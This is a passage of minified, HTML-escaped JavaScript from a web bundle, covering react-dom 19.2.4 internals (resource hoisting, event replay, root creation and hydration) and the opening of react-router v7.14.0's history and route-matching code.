xp(e,t){ga.X(e,t);var a=Kl;if(a&amp;&amp;e){var l=vl(a).hoistableScripts,n=Fl(e),i=l.get(n);i||(i=a.querySelector(Vn(n)),i||(e=b({src:e,async:!0},t),(t=Qt.get(n))&amp;&amp;qc(e,t),i=a.createElement(&quot;script&quot;),at(i),rt(i,&quot;link&quot;,e),a.head.appendChild(i)),i={type:&quot;script&quot;,instance:i,count:1,state:null},l.set(n,i))}}function vp(e,t){ga.M(e,t);var a=Kl;if(a&amp;&amp;e){var l=vl(a).hoistableScripts,n=Fl(e),i=l.get(n);i||(i=a.querySelector(Vn(n)),i||(e=b({src:e,async:!0,type:&quot;module&quot;},t),(t=Qt.get(n))&amp;&amp;qc(e,t),i=a.createElement(&quot;script&quot;),at(i),rt(i,&quot;link&quot;,e),a.head.appendChild(i)),i={type:&quot;script&quot;,instance:i,count:1,state:null},l.set(n,i))}}function Wd(e,t,a,l){var n=(n=xe.current)?ii(n):null;if(!n)throw Error(r(446));switch(e){case&quot;meta&quot;:case&quot;title&quot;:return null;case&quot;style&quot;:return typeof a.precedence==&quot;string&quot;&amp;&amp;typeof a.href==&quot;string&quot;?(t=$l(a.href),a=vl(n).hoistableStyles,l=a.get(t),l||(l={type:&quot;style&quot;,instance:null,count:0,state:null},a.set(t,l)),l):{type:&quot;void&quot;,instance:null,count:0,state:null};case&quot;link&quot;:if(a.rel===&quot;stylesheet&quot;&amp;&amp;typeof a.href==&quot;string&quot;&amp;&amp;typeof a.precedence==&quot;string&quot;){e=$l(a.href);var i=vl(n).hoistableStyles,o=i.get(e);if(o||(n=n.ownerDocument||n,o={type:&quot;stylesheet&quot;,instance:null,count:0,state:{loading:0,preload:null}},i.set(e,o),(i=n.querySelector(Xn(e)))&amp;&amp;!i._p&amp;&amp;(o.instance=i,o.state.loading=5),Qt.has(e)||(a={rel:&quot;preload&quot;,as:&quot;style&quot;,href:a.href,crossOrigin:a.crossOrigin,integrity:a.integrity,media:a.media,hrefLang:a.hrefLang,referrerPolicy:a.referrerPolicy},Qt.set(e,a),i||yp(n,e,a,o.state))),t&amp;&amp;l===null)throw Error(r(528,&quot;&quot;));return o}if(t&amp;&amp;l!==null)throw Error(r(529,&quot;&quot;));return null;case&quot;script&quot;:return t=a.async,a=a.src,typeof a==&quot;string&quot;&amp;&amp;t&amp;&amp;typeof t!=&quot;function&quot;&amp;&amp;typeof t!=&quot;symbol&quot;?(t=Fl(a),a=vl(n).hoistableScripts,l=a.get(t),l||(l={type:&quot;script&quot;,instance:null,count:0,state:null},a.set(t,l)),l):{type:&quot;void&quot;,instance:null,count:0,state:null};default:throw Error(r(444,e))}}function $l(e){return&#039;href=&quot;&#039;+Ut(e)+&#039;&quot;&#039;}function Xn(e){return&#039;link[rel=&quot;stylesheet&quot;][&#039;+e+&quot;]&quot;}function Pd(e){return b({},e,{&quot;data-precedence&quot;:e.precedence,precedence:null})}function yp(e,t,a,l){e.querySelector(&#039;link[rel=&quot;preload&quot;][as=&quot;style&quot;][&#039;+t+&quot;]&quot;)?l.loading=1:(t=e.createElement(&quot;link&quot;),l.preload=t,t.addEventListener(&quot;load&quot;,function(){return l.loading|=1}),t.addEventListener(&quot;error&quot;,function(){return l.loading|=2}),rt(t,&quot;link&quot;,a),at(t),e.head.appendChild(t))}function Fl(e){return&#039;[src=&quot;&#039;+Ut(e)+&#039;&quot;]&#039;}function Vn(e){return&quot;script[async]&quot;+e}function Id(e,t,a){if(t.count++,t.instance===null)switch(t.type){case&quot;style&quot;:var l=e.querySelector(&#039;style[data-href~=&quot;&#039;+Ut(a.href)+&#039;&quot;]&#039;);if(l)return t.instance=l,at(l),l;var n=b({},a,{&quot;data-href&quot;:a.href,&quot;data-precedence&quot;:a.precedence,href:null,precedence:null});return l=(e.ownerDocument||e).createElement(&quot;style&quot;),at(l),rt(l,&quot;style&quot;,n),ui(l,a.precedence,e),t.instance=l;case&quot;stylesheet&quot;:n=$l(a.href);var i=e.querySelector(Xn(n));if(i)return t.state.loading|=4,t.instance=i,at(i),i;l=Pd(a),(n=Qt.get(n))&amp;&amp;Hc(l,n),i=(e.ownerDocument||e).createElement(&quot;link&quot;),at(i);var o=i;return o._p=new Promise(function(h,j){o.onload=h,o.onerror=j}),rt(i,&quot;link&quot;,l),t.state.loading|=4,ui(i,a.precedence,e),t.instance=i;case&quot;script&quot;:return i=Fl(a.src),(n=e.querySelector(Vn(i)))?(t.instance=n,at(n),n):(l=a,(n=Qt.get(i))&amp;&amp;(l=b({},a),qc(l,n)),e=e.ownerDocument||e,n=e.createElement(&quot;script&quot;),at(n),rt(n,&quot;link&quot;,l),e.head.appendChild(n),t.instance=n);case&quot;void&quot;:return null;default:throw Error(r(443,t.type))}else t.type===&quot;stylesheet&quot;&amp;&amp;(t.state.loading&amp;4)===0&amp;&amp;(l=t.instance,t.state.loading|=4,ui(l,a.precedence,e));return t.instance}function ui(e,t,a){for(var l=a.querySelectorAll(&#039;link[rel=&quot;stylesheet&quot;][data-precedence],style[data-precedence]&#039;),n=l.length?l[l.length-1]:null,i=n,o=0;o&lt;l.length;o++){var h=l[o];if(h.dataset.precedence===t)i=h;else if(i!==n)break}i?i.parentNode.insertBefore(e,i.nextSibling):(t=a.nodeType===9?a.head:a,t.insertBefore(e,t.firstChild))}function Hc(e,t){e.crossOrigin==null&amp;&amp;(e.crossOrigin=t.crossOrigin),e.referrerPolicy==null&amp;&amp;(e.referrerPolicy=t.referrerPolicy),e.title==null&amp;&amp;(e.title=t.title)}function qc(e,t){e.crossOrigin==null&amp;&amp;(e.crossOrigin=t.crossOrigin),e.referrerPolicy==null&amp;&amp;(e.referrerPolicy=t.referrerPolicy),e.integrity==null&amp;&amp;(e.integrity=t.integrity)}var ci=null;function em(e,t,a){if(ci===null){var l=new Map,n=ci=new Map;n.set(a,l)}else n=ci,l=n.get(a),l||(l=new Map,n.set(a,l));if(l.has(e))return l;for(l.set(e,null),a=a.getElementsByTagName(e),n=0;n&lt;a.length;n++){var i=a[n];if(!(i[un]||i[st]||e===&quot;link&quot;&amp;&amp;i.getAttribute(&quot;rel&quot;)===&quot;stylesheet&quot;)&amp;&amp;i.namespaceURI!==&quot;http://www.w3.org/2000/svg&quot;){var o=i.getAttribute(t)||&quot;&quot;;o=e+o;var h=l.get(o);h?h.push(i):l.set(o,[i])}}return l}function tm(e,t,a){e=e.ownerDocument||e,e.head.insertBefore(a,t===&quot;title&quot;?e.querySelector(&quot;head &gt; title&quot;):null)}function gp(e,t,a){if(a===1||t.itemProp!=null)return!1;switch(e){case&quot;meta&quot;:case&quot;title&quot;:return!0;case&quot;style&quot;:if(typeof t.precedence!=&quot;string&quot;||typeof t.href!=&quot;string&quot;||t.href===&quot;&quot;)break;return!0;case&quot;link&quot;:if(typeof t.rel!=&quot;string&quot;||typeof t.href!=&quot;string&quot;||t.href===&quot;&quot;||t.onLoad||t.onError)break;switch(t.rel){case&quot;stylesheet&quot;:return e=t.disabled,typeof t.precedence==&quot;string&quot;&amp;&amp;e==null;default:return!0}case&quot;script&quot;:if(t.async&amp;&amp;typeof t.async!=&quot;function&quot;&amp;&amp;typeof t.async!=&quot;symbol&quot;&amp;&amp;!t.onLoad&amp;&amp;!t.onError&amp;&amp;t.src&amp;&amp;typeof t.src==&quot;string&quot;)return!0}return!1}function am(e){return!(e.type===&quot;stylesheet&quot;&amp;&amp;(e.state.loading&amp;3)===0)}function bp(e,t,a,l){if(a.type===&quot;stylesheet&quot;&amp;&amp;(typeof l.media!=&quot;string&quot;||matchMedia(l.media).matches!==!1)&amp;&amp;(a.state.loading&amp;4)===0){if(a.instance===null){var n=$l(l.href),i=t.querySelector(Xn(n));if(i){t=i._p,t!==null&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof t.then==&quot;function&quot;&amp;&amp;(e.count++,e=ri.bind(e),t.then(e,e)),a.state.loading|=4,a.instance=i,at(i);return}i=t.ownerDocument||t,l=Pd(l),(n=Qt.get(n))&amp;&amp;Hc(l,n),i=i.createElement(&quot;link&quot;),at(i);var o=i;o._p=new Promise(function(h,j){o.onload=h,o.onerror=j}),rt(i,&quot;link&quot;,l),a.instance=i}e.stylesheets===null&amp;&amp;(e.stylesheets=new Map),e.stylesheets.set(a,t),(t=a.state.preload)&amp;&amp;(a.state.loading&amp;3)===0&amp;&amp;(e.count++,a=ri.bind(e),t.addEventListener(&quot;load&quot;,a),t.addEventListener(&quot;error&quot;,a))}}var Bc=0;function jp(e,t){return e.stylesheets&amp;&amp;e.count===0&amp;&amp;fi(e,e.stylesheets),0&lt;e.count||0&lt;e.imgCount?function(a){var l=setTimeout(function(){if(e.stylesheets&amp;&amp;fi(e,e.stylesheets),e.unsuspend){var i=e.unsuspend;e.unsuspend=null,i()}},6e4+t);0&lt;e.imgBytes&amp;&amp;Bc===0&amp;&amp;(Bc=62500*tp());var n=setTimeout(function(){if(e.waitingForImages=!1,e.count===0&amp;&amp;(e.stylesheets&amp;&amp;fi(e,e.stylesheets),e.unsuspend)){var i=e.unsuspend;e.unsuspend=null,i()}},(e.imgBytes&gt;Bc?50:800)+t);return e.unsuspend=a,function(){e.unsuspend=null,clearTimeout(l),clearTimeout(n)}}:null}function ri(){if(this.count--,this.count===0&amp;&amp;(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)fi(this,this.stylesheets);else if(this.unsuspend){var e=this.unsuspend;this.unsuspend=null,e()}}}var oi=null;function fi(e,t){e.stylesheets=null,e.unsuspend!==null&amp;&amp;(e.count++,oi=new Map,t.forEach(Sp,e),oi=null,ri.call(e))}function Sp(e,t){if(!(t.state.loading&amp;4)){var a=oi.get(e);if(a)var l=a.get(null);else{a=new Map,oi.set(e,a);for(var n=e.querySelectorAll(&quot;link[data-precedence],style[data-precedence]&quot;),i=0;i&lt;n.length;i++){var o=n[i];(o.nodeName===&quot;LINK&quot;||o.getAttribute(&quot;media&quot;)!==&quot;not all&quot;)&amp;&amp;(a.set(o.dataset.precedence,o),l=o)}l&amp;&amp;a.set(null,l)}n=t.instance,o=n.getAttribute(&quot;data-precedence&quot;),i=a.get(o)||l,i===l&amp;&amp;a.set(null,n),a.set(o,n),this.count++,l=ri.bind(this),n.addEventListener(&quot;load&quot;,l),n.addEventListener(&quot;error&quot;,l),i?i.parentNode.insertBefore(n,i.nextSibling):(e=e.nodeType===9?e.head:e,e.insertBefore(n,e.firstChild)),t.state.loading|=4}}var Zn={$$typeof:F,Provider:null,Consumer:null,_currentValue:ie,_currentValue2:ie,_threadCount:0};function Np(e,t,a,l,n,i,o,h,j){this.tag=1,this.containerInfo=e,this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.next=this.pendingContext=this.context=this.cancelPendingCommit=null,this.callbackPriority=0,this.expirationTimes=wi(-1),this.entangledLanes=this.shellSuspendCounter=this.errorRecoveryDisabledLanes=this.expiredLanes=this.warmLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=wi(0),this.hiddenUpdates=wi(null),this.identifierPrefix=l,this.onUncaughtError=n,this.onCaughtError=i,this.onRecoverableError=o,this.pooledCache=null,this.pooledCacheLanes=0,this.formState=j,this.incompleteTransitions=new Map}function lm(e,t,a,l,n,i,o,h,j,C,M,V){return e=new Np(e,t,a,o,j,C,M,V,h),t=1,i===!0&amp;&amp;(t|=24),i=Tt(3,null,null,t),e.current=i,i.stateNode=e,t=vu(),t.refCount++,e.pooledCache=t,t.refCount++,i.memoizedState={element:l,isDehydrated:a,cache:t},ju(i),e}function nm(e){return e?(e=Al,e):Al}function sm(e,t,a,l,n,i){n=nm(n),l.context===null?l.context=n:l.pendingContext=n,l=Ra(t),l.payload={element:a},i=i===void 0?null:i,i!==null&amp;&amp;(l.callback=i),a=Oa(e,l,t),a!==null&amp;&amp;(bt(a,e,t),En(a,e,t))}function im(e,t){if(e=e.memoizedState,e!==null&amp;&amp;e.dehydrated!==null){var a=e.retryLane;e.retryLane=a!==0&amp;&amp;a&lt;t?a:t}}function Lc(e,t){im(e,t),(e=e.alternate)&amp;&amp;im(e,t)}function um(e){if(e.tag===13||e.tag===31){var t=el(e,67108864);t!==null&amp;&amp;bt(t,e,67108864),Lc(e,67108864)}}function cm(e){if(e.tag===13||e.tag===31){var t=Ot();t=Mi(t);var a=el(e,t);a!==null&amp;&amp;bt(a,e,t),Lc(e,t)}}var di=!0;function Ep(e,t,a,l){var n=D.T;D.T=null;var i=G.p;try{G.p=2,Gc(e,t,a,l)}finally{G.p=i,D.T=n}}function _p(e,t,a,l){var n=D.T;D.T=null;var i=G.p;try{G.p=8,Gc(e,t,a,l)}finally{G.p=i,D.T=n}}function Gc(e,t,a,l){if(di){var n=Yc(l);if(n===null)Tc(e,t,l,mi,a),om(e,l);else if(Ap(n,e,t,a,l))l.stopPropagation();else if(om(e,l),t&amp;4&amp;&amp;-1&lt;Tp.indexOf(e)){for(;n!==null;){var i=xl(n);if(i!==null)switch(i.tag){case 3:if(i=i.stateNode,i.current.memoizedState.isDehydrated){var o=$a(i.pendingLanes);if(o!==0){var h=i;for(h.pendingLanes|=2,h.entangledLanes|=2;o;){var j=1&lt;&lt;31-Et(o);h.entanglements[1]|=j,o&amp;=~j}It(i),(De&amp;6)===0&amp;&amp;($s=St()+500,Gn(0))}}break;case 31:case 13:h=el(i,2),h!==null&amp;&amp;bt(h,i,2),Ws(),Lc(i,2)}if(i=Yc(l),i===null&amp;&amp;Tc(e,t,l,mi,a),i===n)break;n=i}n!==null&amp;&amp;l.stopPropagation()}else Tc(e,t,l,null,a)}}function Yc(e){return e=Qi(e),kc(e)}var mi=null;function kc(e){if(mi=null,e=pl(e),e!==null){var t=p(e);if(t===null)e=null;else{var a=t.tag;if(a===13){if(e=g(t),e!==null)return e;e=null}else if(a===31){if(e=v(t),e!==null)return e;e=null}else if(a===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&amp;&amp;(e=null)}}return mi=e,null}function rm(e){switch(e){case&quot;beforetoggle&quot;:case&quot;cancel&quot;:case&quot;click&quot;:case&quot;close&quot;:case&quot;contextmenu&quot;:case&quot;copy&quot;:case&quot;cut&quot;:case&quot;auxclick&quot;:case&quot;dblclick&quot;:case&quot;dragend&quot;:case&quot;dragstart&quot;:case&quot;drop&quot;:case&quot;focusin&quot;:case&quot;focusout&quot;:case&quot;input&quot;:case&quot;invalid&quot;:case&quot;keydown&quot;:case&quot;keypress&quot;:case&quot;keyup&quot;:case&quot;mousedown&quot;:case&quot;mouseup&quot;:case&quot;paste&quot;:case&quot;pause&quot;:case&quot;play&quot;:case&quot;pointercancel&quot;:case&quot;pointerdown&quot;:case&quot;pointerup&quot;:case&quot;ratechange&quot;:case&quot;reset&quot;:case&quot;resize&quot;:case&quot;seeked&quot;:case&quot;submit&quot;:case&quot;toggle&quot;:case&quot;touchcancel&quot;:case&quot;touchend&quot;:case&quot;touchstart&quot;:case&quot;volumechange&quot;:case&quot;change&quot;:case&quot;selectionchange&quot;:case&quot;textInput&quot;:case&quot;compositionstart&quot;:case&quot;compositionend&quot;:case&quot;compositionupdate&quot;:case&quot;beforeblur&quot;:case&quot;afterblur&quot;:case&quot;beforeinput&quot;:case&quot;blur&quot;:case&quot;fullscreenchange&quot;:case&quot;focus&quot;:case&quot;hashchange&quot;:case&quot;popstate&quot;:case&quot;select&quot;:case&quot;selectstart&quot;:return 2;case&quot;drag&quot;:case&quot;dragenter&quot;:case&quot;dragexit&quot;:case&quot;dragleave&quot;:case&quot;dragover&quot;:case&quot;mousemove&quot;:case&quot;mouseout&quot;:case&quot;mouseover&quot;:case&quot;pointermove&quot;:case&quot;pointerout&quot;:case&quot;pointerover&quot;:case&quot;scroll&quot;:case&quot;touchmove&quot;:case&quot;wheel&quot;:case&quot;mouseenter&quot;:case&quot;mouseleave&quot;:case&quot;pointerenter&quot;:case&quot;pointerleave&quot;:return 8;case&quot;message&quot;:switch(fh()){case pr:return 2;case xr:return 8;case as:case dh:return 32;case vr:return 268435456;default:return 32}default:return 32}}var Qc=!1,ka=null,Qa=null,Xa=null,Jn=new Map,Kn=new Map,Va=[],Tp=&quot;mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset&quot;.split(&quot; &quot;);function om(e,t){switch(e){case&quot;focusin&quot;:case&quot;focusout&quot;:ka=null;break;case&quot;dragenter&quot;:case&quot;dragleave&quot;:Qa=null;break;case&quot;mouseover&quot;:case&quot;mouseout&quot;:Xa=null;break;case&quot;pointerover&quot;:case&quot;pointerout&quot;:Jn.delete(t.pointerId);break;case&quot;gotpointercapture&quot;:case&quot;lostpointercapture&quot;:Kn.delete(t.pointerId)}}function $n(e,t,a,l,n,i){return e===null||e.nativeEvent!==i?(e={blockedOn:t,domEventName:a,eventSystemFlags:l,nativeEvent:i,targetContainers:[n]},t!==null&amp;&amp;(t=xl(t),t!==null&amp;&amp;um(t)),e):(e.eventSystemFlags|=l,t=e.targetContainers,n!==null&amp;&amp;t.indexOf(n)===-1&amp;&amp;t.push(n),e)}function Ap(e,t,a,l,n){switch(t){case&quot;focusin&quot;:return ka=$n(ka,e,t,a,l,n),!0;case&quot;dragenter&quot;:return Qa=$n(Qa,e,t,a,l,n),!0;case&quot;mouseover&quot;:return Xa=$n(Xa,e,t,a,l,n),!0;case&quot;pointerover&quot;:var i=n.pointerId;return Jn.set(i,$n(Jn.get(i)||null,e,t,a,l,n)),!0;case&quot;gotpointercapture&quot;:return i=n.pointerId,Kn.set(i,$n(Kn.get(i)||null,e,t,a,l,n)),!0}return!1}function fm(e){var t=pl(e.target);if(t!==null){var a=p(t);if(a!==null){if(t=a.tag,t===13){if(t=g(a),t!==null){e.blockedOn=t,Nr(e.priority,function(){cm(a)});return}}else if(t===31){if(t=v(a),t!==null){e.blockedOn=t,Nr(e.priority,function(){cm(a)});return}}else if(t===3&amp;&amp;a.stateNode.current.memoizedState.isDehydrated){e.blockedOn=a.tag===3?a.stateNode.containerInfo:null;return}}}e.blockedOn=null}function hi(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0&lt;t.length;){var a=Yc(e.nativeEvent);if(a===null){a=e.nativeEvent;var l=new a.constructor(a.type,a);ki=l,a.target.dispatchEvent(l),ki=null}else return t=xl(a),t!==null&amp;&amp;um(t),e.blockedOn=a,!1;t.shift()}return!0}function dm(e,t,a){hi(e)&amp;&amp;a.delete(t)}function Cp(){Qc=!1,ka!==null&amp;&amp;hi(ka)&amp;&amp;(ka=null),Qa!==null&amp;&amp;hi(Qa)&amp;&amp;(Qa=null),Xa!==null&amp;&amp;hi(Xa)&amp;&amp;(Xa=null),Jn.forEach(dm),Kn.forEach(dm)}function pi(e,t){e.blockedOn===t&amp;&amp;(e.blockedOn=null,Qc||(Qc=!0,u.unstable_scheduleCallback(u.unstable_NormalPriority,Cp)))}var xi=null;function mm(e){xi!==e&amp;&amp;(xi=e,u.unstable_scheduleCallback(u.unstable_NormalPriority,function(){xi===e&amp;&amp;(xi=null);for(var t=0;t&lt;e.length;t+=3){var a=e[t],l=e[t+1],n=e[t+2];if(typeof l!=&quot;function&quot;){if(kc(l||a)===null)continue;break}var i=xl(a);i!==null&amp;&amp;(e.splice(t,3),t-=3,Yu(i,{pending:!0,data:n,method:a.method,action:l},l,n))}}))}function Wl(e){function t(j){return pi(j,e)}ka!==null&amp;&amp;pi(ka,e),Qa!==null&amp;&amp;pi(Qa,e),Xa!==null&amp;&amp;pi(Xa,e),Jn.forEach(t),Kn.forEach(t);for(var a=0;a&lt;Va.length;a++){var l=Va[a];l.blockedOn===e&amp;&amp;(l.blockedOn=null)}for(;0&lt;Va.length&amp;&amp;(a=Va[0],a.blockedOn===null);)fm(a),a.blockedOn===null&amp;&amp;Va.shift();if(a=(e.ownerDocument||e).$$reactFormReplay,a!=null)for(l=0;l&lt;a.length;l+=3){var n=a[l],i=a[l+1],o=n[ht]||null;if(typeof i==&quot;function&quot;)o||mm(a);else if(o){var h=null;if(i&amp;&amp;i.hasAttribute(&quot;formAction&quot;)){if(n=i,o=i[ht]||null)h=o.formAction;else if(kc(n)!==null)continue}else h=o.action;typeof h==&quot;function&quot;?a[l+1]=h:(a.splice(l,3),l-=3),mm(a)}}}function hm(){function e(i){i.canIntercept&amp;&amp;i.info===&quot;react-transition&quot;&amp;&amp;i.intercept({handler:function(){return new Promise(function(o){return n=o})},focusReset:&quot;manual&quot;,scroll:&quot;manual&quot;})}function t(){n!==null&amp;&amp;(n(),n=null),l||setTimeout(a,20)}function a(){if(!l&amp;&amp;!navigation.transition){var i=navigation.currentEntry;i&amp;&amp;i.url!=null&amp;&amp;navigation.navigate(i.url,{state:i.getState(),info:&quot;react-transition&quot;,history:&quot;replace&quot;})}}if(typeof navigation==&quot;object&quot;){var l=!1,n=null;return navigation.addEventListener(&quot;navigate&quot;,e),navigation.addEventListener(&quot;navigatesuccess&quot;,t),navigation.addEventListener(&quot;navigateerror&quot;,t),setTimeout(a,100),function(){l=!0,navigation.removeEventListener(&quot;navigate&quot;,e),navigation.removeEventListener(&quot;navigatesuccess&quot;,t),navigation.removeEventListener(&quot;navigateerror&quot;,t),n!==null&amp;&amp;(n(),n=null)}}}function Xc(e){this._internalRoot=e}vi.prototype.render=Xc.prototype.render=function(e){var t=this._internalRoot;if(t===null)throw Error(r(409));var a=t.current,l=Ot();sm(a,l,e,t,null,null)},vi.prototype.unmount=Xc.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var t=e.containerInfo;sm(e.current,2,null,e,null,null),Ws(),t[hl]=null}};function vi(e){this._internalRoot=e}vi.prototype.unstable_scheduleHydration=function(e){if(e){var t=Sr();e={blockedOn:null,target:e,priority:t};for(var a=0;a&lt;Va.length&amp;&amp;t!==0&amp;&amp;t&lt;Va[a].priority;a++);Va.splice(a,0,e),a===0&amp;&amp;fm(e)}};var pm=c.version;if(pm!==&quot;19.2.4&quot;)throw Error(r(527,pm,&quot;19.2.4&quot;));G.findDOMNode=function(e){var t=e._reactInternals;if(t===void 0)throw typeof e.render==&quot;function&quot;?Error(r(188)):(e=Object.keys(e).join(&quot;,&quot;),Error(r(268,e)));return e=x(t),e=e!==null?S(e):null,e=e===null?null:e.stateNode,e};var zp={bundleType:0,version:&quot;19.2.4&quot;,rendererPackageName:&quot;react-dom&quot;,currentDispatcherRef:D,reconcilerVersion:&quot;19.2.4&quot;};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&lt;&quot;u&quot;){var yi=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!yi.isDisabled&amp;&amp;yi.supportsFiber)try{ln=yi.inject(zp),Nt=yi}catch{}}return Wn.createRoot=function(e,t){if(!d(e))throw Error(r(299));var a=!1,l=&quot;&quot;,n=Sf,i=Nf,o=Ef;return t!=null&amp;&amp;(t.unstable_strictMode===!0&amp;&amp;(a=!0),t.identifierPrefix!==void 0&amp;&amp;(l=t.identifierPrefix),t.onUncaughtError!==void 0&amp;&amp;(n=t.onUncaughtError),t.onCaughtError!==void 0&amp;&amp;(i=t.onCaughtError),t.onRecoverableError!==void 0&amp;&amp;(o=t.onRecoverableError)),t=lm(e,1,!1,null,null,a,l,null,n,i,o,hm),e[hl]=t.current,_c(e),new Xc(t)},Wn.hydrateRoot=function(e,t,a){if(!d(e))throw Error(r(299));var l=!1,n=&quot;&quot;,i=Sf,o=Nf,h=Ef,j=null;return a!=null&amp;&amp;(a.unstable_strictMode===!0&amp;&amp;(l=!0),a.identifierPrefix!==void 0&amp;&amp;(n=a.identifierPrefix),a.onUncaughtError!==void 0&amp;&amp;(i=a.onUncaughtError),a.onCaughtError!==void 0&amp;&amp;(o=a.onCaughtError),a.onRecoverableError!==void 0&amp;&amp;(h=a.onRecoverableError),a.formState!==void 0&amp;&amp;(j=a.formState)),t=lm(e,1,!0,t,a??null,l,n,j,i,o,h,hm),t.context=nm(null),a=t.current,l=Ot(),l=Mi(l),n=Ra(l),n.callback=null,Oa(a,n,l),a=l,t.current.lanes=a,sn(t,a),It(t),e[hl]=t.current,_c(e),new vi(t)},Wn.version=&quot;19.2.4&quot;,Wn}var _m;function Yp(){if(_m)return Kc.exports;_m=1;function u(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&gt;&quot;u&quot;||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!=&quot;function&quot;))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(u)}catch(c){console.error(c)}}return u(),Kc.exports=Gp(),Kc.exports}var kp=Yp();/**
 * react-router v7.14.0
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
 */var Tm=&quot;popstate&quot;;function Am(u){return typeof u==&quot;object&quot;&amp;&amp;u!=null&amp;&amp;&quot;pathname&quot;in u&amp;&amp;&quot;search&quot;in u&amp;&amp;&quot;hash&quot;in u&amp;&amp;&quot;state&quot;in u&amp;&amp;&quot;key&quot;in u}function Qp(u={}){function c(r,d){var x;let p=(x=d.state)==null?void 0:x.masked,{pathname:g,search:v,hash:y}=p||r.location;return tr(&quot;&quot;,{pathname:g,search:v,hash:y},d.state&amp;&amp;d.state.usr||null,d.state&amp;&amp;d.state.key||&quot;default&quot;,p?{pathname:r.location.pathname,search:r.location.search,hash:r.location.hash}:void 0)}function f(r,d){return typeof d==&quot;string&quot;?d:In(d)}return Vp(c,f,null,u)}function Xe(u,c){if(u===!1||u===null||typeof u&gt;&quot;u&quot;)throw new Error(c)}function Kt(u,c){if(!u){typeof console&lt;&quot;u&quot;&amp;&amp;console.warn(c);try{throw new Error(c)}catch{}}}function Xp(){return Math.random().toString(36).substring(2,10)}function Cm(u,c){return{usr:u.state,key:u.key,idx:c,masked:u.unstable_mask?{pathname:u.pathname,search:u.search,hash:u.hash}:void 0}}function tr(u,c,f=null,r,d){return{pathname:typeof u==&quot;string&quot;?u:u.pathname,search:&quot;&quot;,hash:&quot;&quot;,...typeof c==&quot;string&quot;?en(c):c,state:f,key:c&amp;&amp;c.key||r||Xp(),unstable_mask:d}}function In({pathname:u=&quot;/&quot;,search:c=&quot;&quot;,hash:f=&quot;&quot;}){return c&amp;&amp;c!==&quot;?&quot;&amp;&amp;(u+=c.charAt(0)===&quot;?&quot;?c:&quot;?&quot;+c),f&amp;&amp;f!==&quot;#&quot;&amp;&amp;(u+=f.charAt(0)===&quot;#&quot;?f:&quot;#&quot;+f),u}function en(u){let c={};if(u){let f=u.indexOf(&quot;#&quot;);f&gt;=0&amp;&amp;(c.hash=u.substring(f),u=u.substring(0,f));let r=u.indexOf(&quot;?&quot;);r&gt;=0&amp;&amp;(c.search=u.substring(r),u=u.substring(0,r)),u&amp;&amp;(c.pathname=u)}return c}function Vp(u,c,f,r={}){let{window:d=document.defaultView,v5Compat:p=!1}=r,g=d.history,v=&quot;POP&quot;,y=null,x=S();x==null&amp;&amp;(x=0,g.replaceState({...g.state,idx:x},&quot;&quot;));function S(){return(g.state||{idx:null}).idx}function b(){v=&quot;POP&quot;;let w=S(),k=w==null?null:w-x;x=w,y&amp;&amp;y({action:v,location:U.location,delta:k})}function T(w,k){v=&quot;PUSH&quot;;let $=Am(w)?w:tr(U.location,w,k);x=S()+1;let F=Cm($,x),I=U.createHref($.unstable_mask||$);try{g.pushState(F,&quot;&quot;,I)}catch(te){if(te instanceof DOMException&amp;&amp;te.name===&quot;DataCloneError&quot;)throw te;d.location.assign(I)}p&amp;&amp;y&amp;&amp;y({action:v,location:U.location,delta:1})}function Y(w,k){v=&quot;REPLACE&quot;;let $=Am(w)?w:tr(U.location,w,k);x=S();let F=Cm($,x),I=U.createHref($.unstable_mask||$);g.replaceState(F,&quot;&quot;,I),p&amp;&amp;y&amp;&amp;y({action:v,location:U.location,delta:0})}function R(w){return Zp(w)}let U={get action(){return v},get location(){return u(d,g)},listen(w){if(y)throw new Error(&quot;A history only accepts one active listener&quot;);return d.addEventListener(Tm,b),y=w,()=&gt;{d.removeEventListener(Tm,b),y=null}},createHref(w){return c(d,w)},createURL:R,encodeLocation(w){let k=R(w);return{pathname:k.pathname,search:k.search,hash:k.hash}},push:T,replace:Y,go(w){return g.go(w)}};return U}function Zp(u,c=!1){let f=&quot;http://localhost&quot;;typeof window&lt;&quot;u&quot;&amp;&amp;(f=window.location.origin!==&quot;null&quot;?window.location.origin:window.location.href),Xe(f,&quot;No window.location.(origin|href) available to create URL&quot;);let r=typeof u==&quot;string&quot;?u:In(u);return r=r.replace(/ $/,&quot;%20&quot;),!c&amp;&amp;r.startsWith(&quot;//&quot;)&amp;&amp;(r=f+r),new URL(r,f)}function Gm(u,c,f=&quot;/&quot;){return Jp(u,c,f,!1)}function Jp(u,c,f,r){let d=typeof c==&quot;string&quot;?en(c):c,p=ja(d.pathname||&quot;/&quot;,f);if(p==null)return null;let g=Ym(u);Kp(g);let v=null;for(let y=0;v==null&amp;&amp;y&lt;g.length;++y){let x=sx(p);v=lx(g[y],x,r)}return v}function Ym(u,c=[],f=[],r=&quot;&quot;,d=!1){let p=(g,v,y=d,x)=&gt;{let S={relativePath:x===void 0?g.path||&quot;&quot;:x,caseSensitive:g.caseSensitive===!0,childrenIndex:v,route:g};if(S.relativePath.startsWith(&quot;/&quot;)){if(!S.relativePath.startsWith(r)&amp;&amp;y)return;Xe(S.relativePath.startsWith(r),`Absolute route path &quot;${S.relativePath}&quot; nested under path &quot;${r}&quot; is not valid. An absolute child route path must start with the combined path of all its parent routes.`),S.relativePath=S.relativePath.slice(r.length)}let 